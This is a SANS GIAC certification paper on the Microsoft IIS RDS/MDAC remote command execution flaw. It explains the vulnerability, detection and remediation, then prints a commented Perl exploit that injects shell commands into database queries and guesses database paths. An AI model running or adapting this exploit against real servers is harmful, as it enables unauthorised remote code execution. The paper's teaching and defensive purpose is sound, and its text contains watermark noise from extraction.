Global Information Assurance Certification Paper - GIAC Certifications

Page created by Bernard Frazier
 
CONTINUE READING
Global Information Assurance Certification Paper

                            Copyright SANS Institute
                            Author Retains Full Rights
   This paper is taken from the GIAC directory of certified professionals. Reposting is not permited without express written permission.

Interested in learning more?
Check out the list of upcoming events offering
"Hacker Tools, Techniques, Exploits, and Incident Handling (Security 504)"
at http://www.giac.org/registration/gcih
GIAC Incident Practical
                                                                SANS Security DC 2000
                                                                Rick Thompson

                                                                                             s.
                                                                                          ht
                                                                                      rig
           Introduction

                                                                                  ull
           This is a practical assignment for GIAC certification from the SANS Security DC 200

                                                                                   f
           conference, requiring documentation of an “exploit, vulnerability or malicious program

                                                                                ns
           … that
              Key corresponds     to theFA27
                   fingerprint = AF19    [SANS]
                                             2F94‘top
                                                  998Dten’ vulnerabilities
                                                        FDB5   DE3D F8B5list.”
                                                                           06E4I have
                                                                                  A169selected
                                                                                       4E46    the “IIS

                                                                             tai
           RDS Vulnerability.”

                                                                          re
                                                                      or
           Exploit Details

                                                                   th
           Name: Microsoft IIS RDS Vulnerability (CVE-1999-1011)
                                                               Au
           Variants: Perl source code for the exploit is easily available, resulting in countless
                                                            2,

           custom scripts
                                                        00
                                                     -2

           Operating System: Microsoft Windows platforms running Internet Information Server
           with MDAC
                                                 00

           Protocols/Services: All communication to the target server is through standard HTTP
                                              20

           Brief Description: This exploit uses IIS to take advantage of a vulnerability in Microsoft
                                          te

           Data Access Components in order to remotely execute arbitrary commands on the
                                        tu

           target without user validation.
                                     sti
                                  In

           Protocol Description
                               NS

           All communication to the target server is through standard HTTP, using completely
                           SA

           normal TCP/IP directed to whatever port the IIS web server is listening on. There are
           no malformed packets or covert communications involved.
                        ©

           Description of variants

           TheKey
               exploit  was widely
                   fingerprint      publicized
                               = AF19 FA27 2F94in 998D
                                                  Perl source code F8B5
                                                       FDB5 DE3D   by Rain Forest
                                                                        06E4 A169Puppy,
                                                                                  4E46 both as
           an original, and a second version with additional features. These can be found at

                   http://www.technotronic.com/rfp

© SANS Institute 2000 - 2002              As part of GIAC practical repository.               Author retains full rights.
Since the exploit is written in Perl, it is quite simple for any attacker to customize as
           they see fit.

           I have edited the exploit into a simplified, heavily commented “academic” variant
           included below. Although completely functional, this variant is less featured (and

                                                                                             s.
           thus less useful as an attack tool) but hopefully more easy to understand.

                                                                                          ht
                                                                                      rig
           How the exploit works

                                                                                  ull
           The Microsoft Security Bulletin describing this vulnerability

                                                                                   f
                                                                                ns
           http://www.microsoft.com/technet/security/bulletin/MS99-025.asp
              Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

                                                                             tai
           is accurate, but somewhat confusing, especially if the reader has little prior

                                                                          re
           knowledge of the components involved.

                                                                      or
           When a standard install of the Windows NT Option Pack is performed, one of the

                                                                   th
           components installed is “Microsoft Data Access Components” (MDAC, referred to in
                                                               Au
           some literature as MSDAC) along with its subcomponent “Remote Data Services” (RDS
           which consists of the RDSServer.DataFactory and an alias to it called
                                                            2,

           AdvancedDataFactory ).
                                                        00
                                                     -2

           MDAC is, essentially, an access mechanism to allow arbitrary programs to access
           SQL databases. Any local program that needed to access SQL data could use
                                                 00

           MDAC as an interface mechanism. This has the completely legitimate purpose of
           allowing user-written programs to perform tasks such as SQL queries without
                                              20

           requiring the programmer to master the complexities of directly manipulating
           databases.
                                          te
                                        tu

           RDS is a subcomponent of MDAC which extends its capabilities to allow remote
                                     sti

           database queries through the IIS webserver. This too has a completely legitimate
                                  In

           purpose. Using RDS, a web designer can relatively easily integrate database access
           into their web applications.
                               NS

           This is an extremely useful bit of functionality: a web form, for example, can be
                           SA

           constructed so that when it is POST’ed it issues a query against a SQL database
           and returns a formatted page with the results. So far, so good.
                        ©

           The gaping security hole in this setup comes in when you are made aware that shell
           commands can be embedded in MDAC database queries. The Microsoft JET database
           engine, used to communicate to Access databases uses the "|" character to execute
           VBA  code
               Key     within SQL
                   fingerprint     statements
                               = AF19 FA27 2F94 in 998D
                                                   JET. FDB5
                                                         If the VBA
                                                                DE3Dcommand  used
                                                                     F8B5 06E4    is 4E46
                                                                               A169  “shell()” then the
           attacker can issue any arbitrary command. This is discussed in detail on the Bugtraq
           mailing list. One possible link to the article is

                   http://www.geek-girl.com/bugtraq/1999_2/0544.html

© SANS Institute 2000 - 2002              As part of GIAC practical repository.               Author retains full rights.
The chain then becomes devastatingly simple: IIS accepts HTML POSTs from
           arbitrary Internet locations. RDS allows those POSTs to generate MDAC queries.
           MDAC allows queries to contain arbitrary embedded shell commands.

                                                                                              s.
           Ordinarily, the most straightforward way to access a database would be to simply

                                                                                           ht
           specify its name as “DSN=mydatabase”. However, access through this method

                                                                                       rig
           invokes database “handlers,” which may require valid UIDs or even passwords. This
           protection can be circumvented by directly specifying the Microsoft access driver

                                                                                   ull
           and the file name associated with the database in a format like

                                                                                    f
           "driver={Microsoft Access Driver (*.mdb)}; dbq=c:\filename.mdb;"

                                                                                 ns
              Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

                                                                              tai
           When this method is used, there is no user validation performed.

                                                                           re
           The upshot quite clear: Anyone, from anywhere can issue arbitrary commands to the

                                                                       or
           operating system.

                                                                    th
           The problem is magnified when you recall that these commands are embedded in
                                                                Au
           simple HTML posts. These are completely normal traffic for a webserver of any
           description. Thus, even an admirably configured firewall will happily pass along
                                                             2,

           these poisonous commands.
                                                         00
                                                      -2

           Exploits to take advantage of this vulnerability have, at their heart, a routine to
           format an HTML POST request which calls RDS to issue an MDAC database query
                                                  00

           with the attacker’s command embedded within it.
                                               20

           The only slight problem for the attacker is the fact that MDAC cannot issue a
                                            te

           syntactically valid query (and thus issue the shell command) against a database file
                                         tu

           that does not exist. Thus, for the exploit to succeed, the attacker must either know
           the name and location of an existing database, or succeed in causing RDS to create
                                      sti

           one. The vast majority of the code in the most widely distributed version of the
                                   In

           exploit (Rain Forest Puppy’s code, referenced above) is devoted to dealing with this
           obstacle.
                               NS

           Happily for the attacker, any valid .mdb file will work. And if the NT options pack is
                           SA

           installed with a “typical” set of components, a tutorial file called “btcustmr.mdb” is
           installed with it. If the Cold Fusion product is installed, still others are installed. So, if
                        ©

           btcustmr.mdb is not installed, the exploit code tries guessing at other common
           names. If one of these other databases are used, a command to make a dummy
           table may be necessary, since the attacker still needs to issue a syntactically valid
           query. The exploit contains code to do this.
                Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
           If this guessing game fails, it is possible that the attacker can create their own
           dummy DSN, since some servers are configured to allow the makedsn.exe utility to
           be run remotely.

© SANS Institute 2000 - 2002               As part of GIAC practical repository.                  Author retains full rights.
Finally, in a game of move and counter-move, the exploit includes functionality to
           attempt to circumvent the Microsoft-suggested workaround. Microsoft’s
           documentation highlights a particular object part of MDAC called
           RDSServer.DataFactory. The workaround restricts database access to forbid the
           sort of direct access to .mdb files whiles allows UIDs and passwords to be

                                                                                            s.
           circumvented by requiring database accesses to be made through a “handler.”

                                                                                         ht
           However, the vulnerability extends to a second object, called

                                                                                     rig
           VbBusObj.VbBusObjCls, which doesn’t use handlers. The exploit offers the ability to
           target this object instead.

                                                                                 ull
                                                                                  f
           Diagram

                                                                               ns
              Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

                                                                            tai
                                                                         re
                                                                     or
                                                                  th
                                                              Au
                                                           2,
                                                       00
                                                    -2
                                                00

           How to use it?
                                             20

           Use of the program code is extremely simple. To attack host 10.9.8.7, simple issue
                                         te

           the command:
                                       tu
                                     sti

                   programname –h 10.9.8.7
                                 In

           The script will ask you for the command to run on the target and will then try various
                               NS

           methods to insert it on the target. Very little skill is required on the part of the
           attacker.
                           SA

           Signature of the attack
                        ©

           Microsoft suggests detection by reviewing IIS logs for "POST" entries to
           /msadc/msadcs.dll. This suggestion is of little practical value. Administrators who are
           actually using the RDS component of MDAC will see many of these. For those who are
           not, these attempts would certainly be a sign of attempted intrusion, but it is likely that
              Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
           any administrator who is not using RDS and who is sufficiently concerned to be
           examining logs will simply remove these components altogether.

© SANS Institute 2000 - 2002             As part of GIAC practical repository.              Author retains full rights.
An IDS capable of scanning for the strings “btcustmr.mdb” and
           “VbBusObj.VbBusObjCls” would point out extremely suspicious activity.

           How to protect against it?

                                                                                            s.
                                                                                         ht
           A second Microsoft document

                                                                                     rig
           http://www.microsoft.com/technet/security/bulletin/fq99-025.asp

                                                                                 ull
           describes in greater detail than the security bulletin the measures that can be taken

                                                                                  f
           to circumvent the problem.

                                                                               ns
               Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

                                                                            tai
           In summary, he actions to take are these:

                                                                         re
           First, upgrade to the latest version of MDAC, and ensure that it is set in “safe” mode. To

                                                                     or
           be in safe mode the registry key

                                                                  th
                   HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/DataFactory
                   /HandlerInfo/HandlerRequired
                                                              Au
                                                           2,
           must contain a DWORD set to “1,” not “0”. This disables the ability to access .mdb files
                                                       00

           directly (bypassing any authentication checks).
                                                    -2

           However, the “VbBusObj.VbBusObjCls” object vulnerability will still exist. Deal with this
                                                00

           by deleting the registry key
                                             20

                   HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/W3SVC
                   /Parameters/ADCLaunch/VbBusObj.VbBusObjCls
                                          te
                                       tu

           altogether.
                                     sti

           Then delete the vbbusobj.dll file itself, which assuming your root drive is “c:” is stored in
                                  In
                               NS

                   c:\program files\common files\system\msadc\samples\selector\
                   middle_tier\vbbusobj\vbbusobj.dll
                           SA

           Then get rid of any sample scripts. Virtual directories such as
                         ©

                   IISSamples
                   IISHelp
                   IISadmpwd

           canKey
               probably  be removed,
                  fingerprint         as can
                              = AF19 FA27    physical
                                          2F94        directories
                                               998D FDB5          such as
                                                           DE3D F8B5   06E4 A169 4E46

                   \inetpub\scripts\tools
                   \inetpub\scripts\samples
                   \inetpub\scripts\iisadmin

© SANS Institute 2000 - 2002             As part of GIAC practical repository.               Author retains full rights.
\inetpub\iissamples\

           If you are not using RDS, it should simply be disabled altogether. In addition to
           performing the above steps, remove the /msadc virtual directory from the default
           Web site altogether

                                                                                            s.
                                                                                         ht
           Then delete the following two registry keys:

                                                                                     rig
                   HKEY_LOCAL_MACHINE \SYSTEM \CurrentControlSet \Services \W3SVC

                                                                                 ull
                   \Parameters \ADCLaunch \RDSServer.DataFactory

                                                                                  f
                   HKEY_LOCAL_MACHINE \SYSTEM \CurrentControlSet \Services \W3SVC

                                                                               ns
                   \Parameters \ADCLaunch \AdvancedDataFactory
               Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

                                                                            tai
           Be particularly careful during any future upgrades, since many of these structures you

                                                                         re
           just carefully deleted will probably be re-created.

                                                                     or
                                                                  th
           Source code/ Pseudo code
                                                              Au
           The exploit code works basically as follows:
                                                           2,

           1. Contact target via HTTP
                                                       00

           2. Ensure that target is running IIS and MDAC
                                                    -2

           3. Try query (with embedded command) using btcustmr.mdb
              A. Format a database query with the embedded shell command
                                                00

              B. Wrap it into a standard HTML POST
                                             20

              C. Send the POST to the target
              D. Check for success
                                         te

           4. Try to create a dummy database of our own using makedsn.exe and run query
                                       tu

              against that
           5. Try requests in DSN=mydsn format using common DSN names to run poisoned
                                    sti

              query against
                                 In

              A. Cycle through common DSN locations
                  a. Try to create a dummy table
                               NS

                  b. Format a database query with the embedded shell command
                           SA

                  c. Wrap it into a standard HTML POST
                  d. Send the POST to the target
                  e. Check for success
                        ©

           6. Try requests specifying .mdb files using common .mdb names

           The following code is liberally commented to illustrate this:
           #!/usr/bin/perl
           #
              Key fingerprint = AF19 FA27 2F94   998D FDB5 DE3D F8B5 06E4 A169 4E46
           # MSDAC/RDS exploit
           # Academic version
           #
           # Original by rain forest puppy

© SANS Institute 2000 - 2002             As part of GIAC practical repository.              Author retains full rights.
#   Academic version by jrt
           #
           #   This version strips out some features, reorganizes and
           #   renames a lot of variables to clarify the code for academic
           #   purposes. The code still works, but should be easier to
           #   understand, although a less useful attack tool
           #

                                                                                            s.
           #   Removed: external dictionary support

                                                                                         ht
           #           save/resume support
           #            UNC support

                                                                                     rig
           use Socket;

                                                                                 ull
           use Getopt::Std;

                                                                                  f
           # Initializations ---------------------------------------------------------

                                                                               ns
                Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

                                                                            tai
               $command_interpreter="cmd /c";
               $content_length=0;

                                                                         re
               $delay=1;
               $got_target = 0;
               $just_print_index=0;

                                                                     or
               $just_show_netbios_name=0;

                                                                  th
               $potentially_vulnerable=0;
               $rds_request_length=0;
               $run_all_steps=1;
               $SUCCESS = 1;
                                                              Au
               $FAILURE = 0;
                                                           2,
               $target_host="";
               $target_port = 80;
                                                       00

               $use_VbBusObj = 0;
                                                    -2

               $verbose=0;

               $|=1;
                                                00
                                              20

               # Drive letters that NT may be resident on
               @drives=("c","d","e","f","g","h");
                                          te

               # Directories that NT may reside in
                                         tu

               @sysdirs=("winnt","winnt35","winnt351","win","windows");
                                     sti

               # The following are commonly found DSN's
                                  In

               # we want the arbitrary name 'wicca' first, in the list because that’s the name
               # we use in our own makedsn routine so if we makde it, it's ready to go
               @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
                               NS

                    "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
                    "banner", "banners", "ads", "ADCDemo", "ADCTest", "prod", "devl", "test",
                           SA

                     "www", "sql", "db");

               # The following are .mdb files commonly found in %systemroot%
                        ©

               @sysmdbs=( "\\catroot\\icatalog.mdb",
                           "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
                           "\\system32\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
                           "\\system32\\certmdb.mdb",
                           "\\system32\\ias\\ias.mdb",
                           "\\system32\\ias\dnary.mdb",
                           "\\system32\\certlog\\certsrv.mdb"
                Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
                           );

               # The following are other commonly found .mdb files
               @mdbs=(    "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
                          "\\cfusion\\cfapps\\forums\\forums_.mdb",

© SANS Institute 2000 - 2002             As part of GIAC practical repository.              Author retains full rights.
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
                          "\\cfusion\\cfapps\\security\\realm_.mdb",
                          "\\cfusion\\cfapps\\security\\data\\realm.mdb",
                          "\\cfusion\\database\\cfexamples.mdb",
                          "\\cfusion\\database\\cfsnippets.mdb",
                          "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
                          "\\progra~1\\common~1\\system\\msdac\\samples\\advworks.mdb",

                                                                                            s.
                          "\\cfusion\\brighttiger\\database\\cleam.mdb",

                                                                                         ht
                          "\\cfusion\\database\\smpolicy.mdb",
                          "\\cfusion\\database\cypress.mdb",

                                                                                     rig
                          "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
                          "\\website\\cgi-win\\dbsample.mdb",

                                                                                 ull
                          "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
                          "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"

                                                                                  f
                          );

                                                                               ns
           # Main --------------------------------------------------------------------
               Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

                                                                            tai
                                                                         re
             print "RDS/MSDAC exploit: academic version\n";

             # First, we read in any flags and arguments

                                                                     or
                                                                  th
             getopts("e:vd:h:p:XVNws:", \%args);
             &handle_args;

             # Make sure we have been given a target
                                                              Au
                                                           2,
             if (! $got_target) {
               &print_usage;
                                                       00

               exit;
                                                    -2

               }

             # Make sure the target host is valid
                                                00

             $target_host = inet_aton($ip)
                                             20

               || die("inet_aton problems; host doesn't exist?");
                                         te

             # Make sure the target host is running IIS and msdac
                                       tu

             print "Checking for vulnerability";
                                    sti

             $potentially_vulnerable = &check_for_possible_vulnerability;
             if ( ! $potentially_vulnerable) {
                                  In

               exit;
               };
                               NS

             # So, at this point, we know that the target host is potentially vulnerable
                           SA

             # One of the things that can be done with this exploit code is
             # to dump the tables of MS Index Server, if they're running it.
                        ©

             if ($just_print_index) {
               &dump_index_server_tables;
               exit;
               }

             # Another thing we can do is to retrieve the netbios name of the target
               Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
             if ($just_show_netbios_name) {
               &show_netbios_name;
               exit;
               }

© SANS Institute 2000 - 2002             As part of GIAC practical repository.              Author retains full rights.
#   But, our primary function is to run an arbitrary command on the target
             #
             #   The command we want to run will be prefixed by the name of the
             #   command interpreter. This defaults to "cmd /c" which is correct
             #   for Windows NT, but a -w argument can specify "command" instead,
             #   which is correct for Windows 95/98
             #

                                                                                            s.
             #   So, here we prompt the user for the command to run, then prepend the

                                                                                         ht
             #   interpreter name

                                                                                     rig
             print "Type the command you want to run ($command_interpreter assumed):\n" .
               "$command_interpreter ";

                                                                                 ull
             $in = ;
             chomp $in;

                                                                                  f
             $cmd_to_run = "$command_interpreter " . $in ;

                                                                               ns
                 Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

                                                                            tai
             #   For the exploit to work, there has to be some sort of database
             #   that we know the name of (either the DSN, or the mdb it refers to.)

                                                                         re
             #   The first one we try is "btcustmr.mdb" which is installed by default
             #   with the NT 4 Options pack. This was the database highlighted in the original
             #   MS98-004 advisory

                                                                     or
                                                                  th
             if ($run_all_steps || $step_to_run==1){
               print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
               &try_btcustmr;
               }
                                                              Au
                                                           2,
             #   If there is no "btcustmr.mdb" then vulnerabilities may still allow us to
             #   pass a command string by making a database of our own
                                                       00

             #   This will be junk, of course, but remember, all that matters is that we
                                                    -2

             #   know the name of some database. It doesn't have to be a useful database.

             if ($run_all_steps || $step_to_run==2){
                                                00

               print "\nStep 2: Trying to make our own DSN...";
               if (&make_dsn) {
                                             20

                 print "\n";
                 sleep(3); # we need to sleep to let the server catchup
                                           te

                 }
               else {
                                       tu

                 print "\n";
                                     sti

                 }
               }
                                  In

             # If there's no btcustmr.mdb, and we can't create a database ourselves
             # we're reduced to guessing. First we try common DSNs
                               NS

             if ($run_all_steps || $step_to_run==3) {
                           SA

               print "\nStep 3: Trying known DSNs...";
               &try_common_dsns;
               }
                        ©

             # Next, we try common .mdbs

             if ($run_all_steps || $step_to_run==4) {
               print "\nStep 4: Trying known .mdbs...";
               &known_mdb;
               }
              Key  fingerprint = AF19 FA27 2F94 998D FDB5      DE3D F8B5 06E4 A169 4E46
             # RFP's original then went on to try DSN's entered as arguments to the program,
             # and an optional external dictionary of DSN's, but you get the point

             print "\n\nNo luck, guess you'll have to use a real hack, eh?\n";

© SANS Institute 2000 - 2002             As part of GIAC practical repository.              Author retains full rights.
exit;

           # Subroutines -------------------------------------------------------------

           sub   handle_args {
             #   All we're doing here is reading the flags and arguments so that we

                                                                                            s.
             #   can use conditions like "run_all_steps" rather than "!(defined $args{s}"

                                                                                         ht
             #
             #   This is purely for code clarity

                                                                                     rig
             if (defined $args{v}) {

                                                                                 ull
               $verbose = 1;
               };

                                                                                  f
             if (defined $args{p}) {
               $target_port = $args{p};

                                                                               ns
               };
              Key fingerprint = AF19 FA27 2F94 998D     FDB5 DE3D F8B5 06E4 A169 4E46

                                                                            tai
             if (defined $args{d}) {
               $delay = $args{d};

                                                                         re
               };
             if (defined $args{X}) {
               $just_print_index = 1;

                                                                     or
               };

                                                                  th
             if (defined $args{N}) {
               $just_show_netbios_name = 1;
               };
             if (defined $args{w}) {
                                                              Au
               $command_interpreter = "command /c";
                                                           2,
               };
             if (defined $args{s}){
                                                       00

               $step_to_run = $args{s};
                                                    -2

               };
             if (defined $args{V}){
               $use_VbBusObj = 1;
                                                00

               };
             if (defined $args{h}){
                                             20

               $got_target = 1;
               $ip = $args{h};
                                          te

               };
             };
                                       tu
                                     sti

           # -------------------------------------------------------------------------
                                  In

           sub print_usage {
             # Just print a usage summary if we didn't get a sane command line
                               NS

             print qq~
             Usage: msdac.pl -h  { -d  -X -v }
                           SA

                   -h                = host you want to scan (ip or domain)
                   -d             = delay between calls, default 1 second
                   -p                = destination port default $target_port
                        ©

                   -X                      = dump Index Server path table, if available
                   -N                      = query VbBusObj for NetBIOS name
                   -V                      = use VbBusObj instead of ActiveDataFactory
                   -v                      = verbose
                   -w                      = Windows 95 instead of Windows NT
                   -s              = run only step 
                 Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
             ~;
             };

           # -------------------------------------------------------------------------

© SANS Institute 2000 - 2002             As part of GIAC practical repository.              Author retains full rights.
sub   send_data_to_target {
             #   This simply opens a socket to the target host and throws the data
             #   across the connection. This technique could be identical in any
             #   perl program that needed to do that, and it has nothing to do with the
             #   fact that this particular progra is an exploit.

             # The text to send is given as the function's argument

                                                                                            s.
             my ($text_to_send)=@_;

                                                                                         ht
             # Create a socket

                                                                                     rig
             socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
               die("Socket problems\n");

                                                                                 ull
             # Connect to the target host and throw the data at it

                                                                                  f
             if (connect(S,pack "SnA4x8",2,$target_port,$target_host)) {
               open(OUT,">raw.out");

                                                                               ns
               my @in;
              Key   fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4        A169 4E46

                                                                            tai
               select(S);
               $|=1;

                                                                         re
               print $text_to_send;
               while() {
                 print OUT $_;

                                                                     or
                 push @in, $_;

                                                                  th
                  print STDOUT ".";
                 };
               close(OUT);
               select(STDOUT);
                                                              Au
               close(S);
                                                           2,
               print "\n";
               return @in;
                                                       00

               }
                                                    -2

             else {
               die("Can't connect...\n");
               };
                                                00

             };
                                             20

           # -------------------------------------------------------------------------
                                          te

           sub   make_http_wrapper {
             #   The RDS request is wrapped up in a standard HTML POST
                                       tu

             #   request. This is pretty bland code to produce the headers
                                     sti

             #   required for the POST
                                  In

             my $object_to_use, $arg_ct;
             if ($use_VbBusObj) {
               $object_to_use="VbBusObj.VbBusObjCls.GetRecordset";
                               NS

               $arg_ct="2";
               }
                           SA

             else {
               $object_to_use="AdvancedDataFactory.Query";
               $arg_ct="3";
                        ©

               }

             $msdac=
--!ARBITRARY!TEXT!STRING!
           Content-Type: application/x-varg
           Content-Length: $rds_request_length

           EOT
           ;
             $msdac=~s/\n/\r\n/g;

                                                                                          s.
             return $msdac;

                                                                                       ht
             };

                                                                                   rig
           # -------------------------------------------------------------------------

                                                                               ull
           sub create_rds_request { # make the RDS request
             # Here we create and format an RDS request

                                                                                f
             # We will eventually embed this in an html request

                                                                             ns
             my ($request_type, $p1, $p2)=@_;
              Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D        F8B5 06E4 A169 4E46

                                                                          tai
             my $rds_request="";
             my $unicode_query, $unicode_dsn, $query, $dsn;

                                                                       re
             # The syntax of he query and dsn vary according to the type of

                                                                   or
             # rds request we're creating

                                                                th
             # If we're trying to attack through btcustmr.mdb:
             if ($request_type eq "btcustmr.mdb") {         Au
               # HERE is where the attacker's arbitrary command is inserted into the query
               # if the target has "btcustmr.mdb" installed
                                                         2,
               $query="Select * from Customers where City='|shell(\"$cmd_to_run\")|'";
               $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
                                                      00

                  $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";
                                                  -2

               }

             # If we're trying to create a table to enable an attack without btcustmr.mdb:
                                              00

             elsif ($request_type eq "create_table") {
               $query="create table AZZ (B int, C varchar(10))";
                                           20

               $dsn="$p1";
               }
                                        te

             # If we're trying to attack through same database other than btcustmr.mdb:
                                     tu

             elsif ($request_type eq "query_table") {
                                    sti

               # HERE is where the attacker's arbitrary command is inserted into the query
               # for all attacks that don't depend on the target having "btcustmr.mdb"
                                In

               $query="select * from MSysModules where name='|shell(\"$cmd_to_run\")|'";
               $dsn="$p1";
               }
                               NS

             # If we're trying to dump Index Server records
                           SA

             elsif ($request_type eq "dump_index") {
               $query="select path from scope()";
               $dsn="Provider=MSIDXS;";
                        ©

               }

             # If we're just trying to see if we have a valid Access database
             elsif ($request_type eq "access") {
               $query="select";
               $dsn="$p1";
               }
              Key  fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169       4E46
             # The remainder and format of the RDS request is standard regardless
             # of query type

             $unicode_query = make_unicode($query);

© SANS Institute 2000 - 2002           As part of GIAC practical repository.               Author retains full rights.
$unicode_dsn = make_unicode($dsn);

             if ( use_VbBusObj ) {
               $rds_request=""; }
             else {
               $rds_request = "\x02\x00\x03\x00";
               };

                                                                                            s.
                                                                                         ht
             $rds_request.= "\x08\x00" . pack ("S1", length($unicode_query));
             $rds_request.= "\x00\x00" . $unicode_query ;

                                                                                     rig
             $rds_request.= "\x08\x00" . pack ("S1", length($unicode_dsn));
             $rds_request.= "\x00\x00" . $unicode_dsn ;

                                                                                 ull
             $rds_request.="\r\n--!ARBITRARY!TEXT!STRING!--\r\n";

                                                                                  f
             return $rds_request;
             };

                                                                               ns
                 Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

                                                                            tai
           # -------------------------------------------------------------------------

                                                                         re
           sub make_unicode {
             # Convert to unicode
             my ($in) = @_;

                                                                     or
             my $out;

                                                                  th
             for ($c=0; $c < length($in); $c++) {
               $out.=substr($in,$c,1) . "\x00";
               };
             return $out;
                                                              Au
             };
                                                           2,

           # -------------------------------------------------------------------------
                                                       00
                                                    -2

           sub   check_for_success {
             #   This is rfp's original check. He himself points out that this is
             #   merely looking at the reply to see that you have issued a valid SQL statement,
                                                00

             #   and not in any way a guarantee that the arbitrary command you wanted to execute
             #   has actually worked
                                             20

             my (@in) = @_;
                                          te

             my $base=content_start(@in);
             if ($in[$base]=~/multipart\/mixed/) {
                                       tu

               if ( $in[$base+10]=~/^\x09\x00/ ) {
                                     sti

                 return $SUCCESS;
                 };
                                  In

               };
             return $FAILURE;
             };
                               NS

           # -------------------------------------------------------------------------
                           SA

           sub   make_dsn {
             #   If we can't connect to btcustmr.mdb, this (tries to) make a DSN for us
                        ©

             #   We can make our own DSN through a simple http request if someone
             #   has left /scripts/tools/makedsn.exe installed and available to
             #   the webserver.

             print "\nMaking DSN: ";
             foreach $drive (@drives) {
               print
              Key     "$drive:= ";
                   fingerprint  AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
               my $make_dsn_command = "GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B"
                    . "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
                  . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n";
               my @results = send_data_to_target("$make_dsn_command");
               $results[0] =~ m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;

© SANS Institute 2000 - 2002             As part of GIAC practical repository.              Author retains full rights.
if ($2 eq "404") {
                 # we got a not found/doesn't exist message back
                 return $FAILURE;
                 };
               if ($2 eq "200") {
                 foreach $line (@results) {
                   if ($line =~ /Datasource creation successful/) {

                                                                                            s.
                     return $SUCCESS;

                                                                                         ht
                     };
                   };

                                                                                     rig
                 };
               };

                                                                                 ull
             return $FAILURE;
             };

                                                                                  f
           # -------------------------------------------------------------------------

                                                                               ns
                 Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

                                                                            tai
           sub   try_btcustmr {
             #   Here we try the easiest way in. We construct a bogus query against

                                                                         re
             #   btcustmr.mdb and submit it to the webserver, using every location that
             #   we think btcustmr.mdb might be found

                                                                     or
             foreach $dir (@sysdirs) {

                                                                  th
               print "$dir -> "; # status so you can see progress drive by drive
               foreach $drive (@drives) {
                                                              Au
                 print "$drive: "; # status so you can see progress dir by dir within drive

                   # We create an RDS request for btcustmr.mdb with the curent guess at location
                                                           2,
                   my $request_to_issue = create_rds_request("btcustmr.mdb", $drive, $dir);
                                                       00

                   # We now have to calculate the length to plug into the HTTP header
                                                    -2

                   $rds_request_length = length( $request_to_issue ) - 28;
                   $content_length = 206 + length("$rds_request_length") + $rds_request_length;
                                                00

                   # We construct a complete POST request by prepending the HTTPm header to
                   # the RDS request
                                             20

                   my $http_request = make_http_wrapper() . $request_to_issue;
                                          te

                   # And throw it to the target host
                   my @results = send_data_to_target($http_request);
                                       tu
                                     sti

                 # A quick check to see if it succeeded
                 if (check_for_success(@results)) {
                                  In

                    print "Success!\n";
                    exit;
                    }
                               NS

                  else {
                    verbose(odbc_error(@results));
                           SA

                    handle_unusual_results(@results);
                    };
                 };
                        ©

               print "\n";
               };
             };

           # -------------------------------------------------------------------------

           sub Key
               odbc_error   { = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
                   fingerprint
             # This code has little to do with the exploit. It merely translates any
             # error messages that the ODBC server hands back into a more human-readable
             # format

             my (@in) = @_;

© SANS Institute 2000 - 2002             As part of GIAC practical repository.              Author retains full rights.
my $base;
             my $base = content_start(@in);
             if ($in[$base]=~/application\/x-varg/) { # it *SHOULD* be this
               $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
               $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
               $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
               return $in[$base+4].$in[$base+5].$in[$base+6];

                                                                                            s.
               }

                                                                                         ht
             print "\nNON-STANDARD error:\n";
